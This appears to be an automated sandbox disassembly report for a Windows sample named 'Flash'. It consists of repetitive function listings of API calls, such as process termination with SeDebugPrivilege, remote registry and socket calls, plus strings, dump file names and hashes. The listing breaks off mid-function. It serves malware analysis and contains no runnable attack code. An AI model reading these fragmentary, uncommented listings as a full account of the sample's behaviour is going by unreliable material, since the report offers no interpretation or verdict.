Incorrect Object type in FOR..IN loop, xrefs: 00A49A06
Null Object assignment in FOR..IN loop, xrefs: 00A498B2, 00A499E0, 00A49A98

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 390b0767fa406831eb72dd84fdc4e764ff6d90f6e634d79a99fac8ac9a22fbc8
Instruction ID: 57649471d68849440237bdfaec6a20151a9a9a480ae3fd969abd7da78af89303
Opcode Fuzzy Hash: 390b0767fa406831eb72dd84fdc4e764ff6d90f6e634d79a99fac8ac9a22fbc8
Instruction Fuzzy Hash: 8B91CE34A00219ABCF20CFA5C848FAFBBB8EF85710F10856EF515AB291D7709941CFA0

Function 00A573A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00A57449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00A5745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00A57477
_wcscat.LIBCMT ref: 00A574D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00A574E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00A57517

Strings

SysListView32, xrefs: 00A5741B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 7acbed195d9eea71ba729a5a4552a02ea6cc7baff68524b017aa85ed5fe92e43
Instruction ID: b033f6c5e9d810bfcdf08b77b617ae4b54769766c2a3211492f9cb856938ab5d
Opcode Fuzzy Hash: 7acbed195d9eea71ba729a5a4552a02ea6cc7baff68524b017aa85ed5fe92e43
Instruction Fuzzy Hash: 51419170A04308AFDB219FA4DC85FEE77B8FB48351F10442AF945A6291D6B19D898B60

Function 00A4F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00A34148: CreateToolhelp32Snapshot.KERNEL32 ref: 00A3416D
Part of subcall function 00A34148: Process32FirstW.KERNEL32(00000000,?), ref: 00A3417B
Part of subcall function 00A34148: FindCloseChangeNotification.KERNEL32(00000000), ref: 00A34245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A4F08D
GetLastError.KERNEL32 ref: 00A4F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A4F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00A4F14C
GetLastError.KERNEL32(00000000), ref: 00A4F157
CloseHandle.KERNEL32(00000000), ref: 00A4F18C

Strings

SeDebugPrivilege, xrefs: 00A4F0AB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 1701285019-2896544425
Opcode ID: a3bb63546ead00b2308044b436e02e0c7f7956274c35b29dce82a382f4a95726
Instruction ID: 9f467587decf1388b11312c11933ffb44bfebefbef069793892ba1386b80d0d8
Opcode Fuzzy Hash: a3bb63546ead00b2308044b436e02e0c7f7956274c35b29dce82a382f4a95726
Instruction Fuzzy Hash: E241DA302402009FDB25EF68CCA5F6EB7B5AF84710F04852AF9028F3D2CBB4A945CB81

Function 00A334DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00A3357C

Strings

blank, xrefs: 00A334FE
stop, xrefs: 00A3354D
warning, xrefs: 00A33565
info, xrefs: 00A3351D
question, xrefs: 00A33535

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 49ba1c4469a803e6bab7671513db0d25cf756283438e1d28dfd90c2372880478
Instruction ID: b672efe42c5d8880e1a55e825f98076d9c266a207dc4678ccf86967d781f34bd
Opcode Fuzzy Hash: 49ba1c4469a803e6bab7671513db0d25cf756283438e1d28dfd90c2372880478
Instruction Fuzzy Hash: 5111DA7374C34ABEEF055B55DC96D7A77ACDF05764F20002AFA00AA181E7A9AF4057B0

Function 00A347E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00A34802
LoadStringW.USER32(00000000), ref: 00A34809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00A3481F
LoadStringW.USER32(00000000), ref: 00A34826
_wprintf.LIBCMT ref: 00A3484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00A3486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00A34847

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 67d48a5555516a1288c942021a3136160378fd8b8fe8ab1b3898f95057c1abb1
Instruction ID: 0d824d91eb85d4cfde58318fe28eb3f74e005af480668b174c9a05492a43da27
Opcode Fuzzy Hash: 67d48a5555516a1288c942021a3136160378fd8b8fe8ab1b3898f95057c1abb1
Instruction Fuzzy Hash: 99012CF69002087BE711EBA0DE89EF7767CEB08300F400595F759E2041EAB4AE854B75

Function 00A5DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

GetSystemMetrics.USER32(0000000F), ref: 00A5DB42
GetSystemMetrics.USER32(0000000F), ref: 00A5DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00A5DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00A5DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00A5DDDC
ShowWindow.USER32(00000003,00000000), ref: 00A5DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00A5DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00A5DE43

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: bbdf9801e995ca5719f1461e5e37bd7a6cce935619d9bddc224969223fab4d2d
Instruction ID: b3841da34c9cbf0b70de3b35d846b034d9b33a0dc302a8ca39c2883daf6718fc
Opcode Fuzzy Hash: bbdf9801e995ca5719f1461e5e37bd7a6cce935619d9bddc224969223fab4d2d
Instruction Fuzzy Hash: 42B19A71600215EFDF24CF69C9C5BAE7BB1FF04702F088069EC489E295D775A994CBA0

Function 00A50371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A5147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A5040D,?,?), ref: 00A51491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A5044E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: b2ed0f765ab12ef4cae51fb4aa78956cbcf7f7072ee021bd5e67ba276937c9ed
Instruction ID: 9f1961787f33bd361471541c23cc7097e37d4a3b193ef2db8e66b5912954b68c
Opcode Fuzzy Hash: b2ed0f765ab12ef4cae51fb4aa78956cbcf7f7072ee021bd5e67ba276937c9ed
Instruction Fuzzy Hash: 56A154702042019FCB11EF64C891F2EBBF5BF84315F14891DF9968B2A2DB71E999CB42

Function 009D2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00A0C508,00000004,00000000,00000000,00000000), ref: 009D2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00A0C508,00000004,00000000,00000000,00000000,000000FF), ref: 009D2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00A0C508,00000004,00000000,00000000,00000000), ref: 00A0C55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00A0C508,00000004,00000000,00000000,00000000), ref: 00A0C5C7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 5bca9f7bb34ed6a28746a2dbae5ab11a6533ab7175d590a8827a13b4853094fe
Instruction ID: be7afef4f6cf1960803af00245848db7d164a5d52fa9dc556454769306c79c86
Opcode Fuzzy Hash: 5bca9f7bb34ed6a28746a2dbae5ab11a6533ab7175d590a8827a13b4853094fe
Instruction Fuzzy Hash: 93410F346886849AC7358B68DC88B6B7BA5BBA1310F14C95FE447467A1C7B5B881D730

Function 00A37681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00A37698

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00A376CF
EnterCriticalSection.KERNEL32(?), ref: 00A376EB
_memmove.LIBCMT ref: 00A37739
_memmove.LIBCMT ref: 00A37756
LeaveCriticalSection.KERNEL32(?), ref: 00A37765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00A3777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00A37799

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: e31b0c6a7a4a5ed563caf031ef9fcc0a93db29f4cef2eeaad2e154b6804e5a78
Instruction ID: 704ee962a2fd9461e3378f9fbd5a1489075183c68134575fa72048f4daa13544
Opcode Fuzzy Hash: e31b0c6a7a4a5ed563caf031ef9fcc0a93db29f4cef2eeaad2e154b6804e5a78
Instruction Fuzzy Hash: BC318371904109EBCB10EFA4DC85EAFB778EF85710F1440A5FA04EB256DB709E51DBA0

Function 00A567F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00A56810
GetDC.USER32(00000000), ref: 00A56818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A56823
ReleaseDC.USER32(00000000,00000000), ref: 00A5682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00A5686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00A5687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00A5964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00A568B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00A568D6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 4df885649434b5a3f173605528ab55523133657268a0eeb61c664d23476423bc
Instruction ID: 633b6d0036c3a41e9829ee4d35cd42c205e5f7967b5ca73ccdc2e574a482047b
Opcode Fuzzy Hash: 4df885649434b5a3f173605528ab55523133657268a0eeb61c664d23476423bc
Instruction Fuzzy Hash: AF314B76101214BFEB118F50DC8AFAB3BA9FB49761F044065FE089A291D7B59892CBB4

Function 00A2C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00A2C75D
_memcmp.LIBCMT ref: 00A2C77F
_memcmp.LIBCMT ref: 00A2C797
_memcmp.LIBCMT ref: 00A2C7AA
_memcmp.LIBCMT ref: 00A2C7C4
_memcmp.LIBCMT ref: 00A2C7D7
_memcmp.LIBCMT ref: 00A2C7EF
_memcmp.LIBCMT ref: 00A2C80A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a0308a0cb703ed3f25973989b94dd35a0d19c3652679f58ba609673b35c68efa
Instruction ID: 610a27128e4b0e375d94acba301939a50e47861ad0f925b55a8ff9f1336f47a4
Opcode Fuzzy Hash: a0308a0cb703ed3f25973989b94dd35a0d19c3652679f58ba609673b35c68efa
Instruction Fuzzy Hash: 9121D773E01629BBD604B729AD42FBF377CAE61764B044434FE06A6242E710DE16C6E1

Function 00A3F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

Part of subcall function 009E436A: _wcscpy.LIBCMT ref: 009E438D

_wcstok.LIBCMT ref: 00A3F2D7
_wcscpy.LIBCMT ref: 00A3F366
_memset.LIBCMT ref: 00A3F399

Strings

X, xrefs: 00A3F3D6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: cfef0eb39bb198a5e809d7a8b7a5017f9124436d81372316922df972cbc20f5e
Instruction ID: e89f95b5ff25e608c501d78194873928efb8ab9060ec6921d68700d39a094f2a
Opcode Fuzzy Hash: cfef0eb39bb198a5e809d7a8b7a5017f9124436d81372316922df972cbc20f5e
Instruction Fuzzy Hash: F9C159719147419FC724EF64C885B6BB7E4BF85350F10892EF8999B2A2DB30ED45CB82

Function 00A471EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00A472EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00A4730C
WSAGetLastError.WSOCK32(00000000), ref: 00A4731F
htons.WSOCK32(?,?,?,00000000,?), ref: 00A473D5
inet_ntoa.WSOCK32(?), ref: 00A47392

Part of subcall function 00A2B4EA: _strlen.LIBCMT ref: 00A2B4F4
Part of subcall function 00A2B4EA: _memmove.LIBCMT ref: 00A2B516

_strlen.LIBCMT ref: 00A4742F
_memmove.LIBCMT ref: 00A47498

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 84a8960e64011089dd7a0978c82b6446cc51f89df638956ca9107c3d85473fba
Instruction ID: 15b5993c7e1c2ebbffdfa47ff5e90c751027cd20ca3e4dfee17938f9c6a28674
Opcode Fuzzy Hash: 84a8960e64011089dd7a0978c82b6446cc51f89df638956ca9107c3d85473fba
Instruction Fuzzy Hash: 9581AE75108240ABC310EB64DC85F6FB7B9AFC4714F148A1DF5569B2A2DB70ED41CBA2

Function 009D1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b84ed19337a0651f680d1f4a277f640fe977ff703b9ac2e2d8f2d978fadca70a
Instruction ID: bd6869a282af154f2e289f4c8b832472643b8e538b314e5e9a51b790f3b768e3
Opcode Fuzzy Hash: b84ed19337a0651f680d1f4a277f640fe977ff703b9ac2e2d8f2d978fadca70a
Instruction Fuzzy Hash: D0715C31A40109FFCB04CF98DC89EAEBB79FF86314F14C55AF915AA251C7349A51DBA0

Function 00A5B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00F653B8), ref: 00A5BA5D
IsWindowEnabled.USER32(00F653B8), ref: 00A5BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00A5BB4D
SendMessageW.USER32(00F653B8,000000B0,?,?), ref: 00A5BB84
IsDlgButtonChecked.USER32(?,?), ref: 00A5BBC1
GetWindowLongW.USER32(00F653B8,000000EC), ref: 00A5BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00A5BBFB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 4297bd9dd8e5665755d0cc522520a1bee2b83140642f818d3c0dcd6f2de4a827
Instruction ID: 9b90432f499c765d78608c856c79fec969cd110fb4deda46c2d21186ba2fba23
Opcode Fuzzy Hash: 4297bd9dd8e5665755d0cc522520a1bee2b83140642f818d3c0dcd6f2de4a827
Instruction Fuzzy Hash: 0D719A34624204AFDB25DF94C894FAABBB9FB49343F104059FE45972A5CB71AC49CB70

Function 00A4FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A4FB31
_memset.LIBCMT ref: 00A4FBFA
ShellExecuteExW.SHELL32(?), ref: 00A4FC3F

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

Part of subcall function 009E436A: _wcscpy.LIBCMT ref: 009E438D

GetProcessId.KERNEL32(00000000), ref: 00A4FCB6
CloseHandle.KERNEL32(00000000), ref: 00A4FCE5

Strings

@, xrefs: 00A4FC0E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 7dd813decd52e25e78dcaf4842ed3a3fb06ba0a93662fe6bcc18bc7d543177f7
Instruction ID: 05aea1579a6de1cffc0d1b0bcf832a351f01ca6de508e7694ebb8ea990e91ae3
Opcode Fuzzy Hash: 7dd813decd52e25e78dcaf4842ed3a3fb06ba0a93662fe6bcc18bc7d543177f7
Instruction Fuzzy Hash: 3E61C075A00619DFCB15EF94C494AAEB7F5FF89310F14846AE816AB391CB30AD42CF90

Function 00A3174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00A3178B
GetKeyboardState.USER32(?), ref: 00A317A0
SetKeyboardState.USER32(?), ref: 00A31801
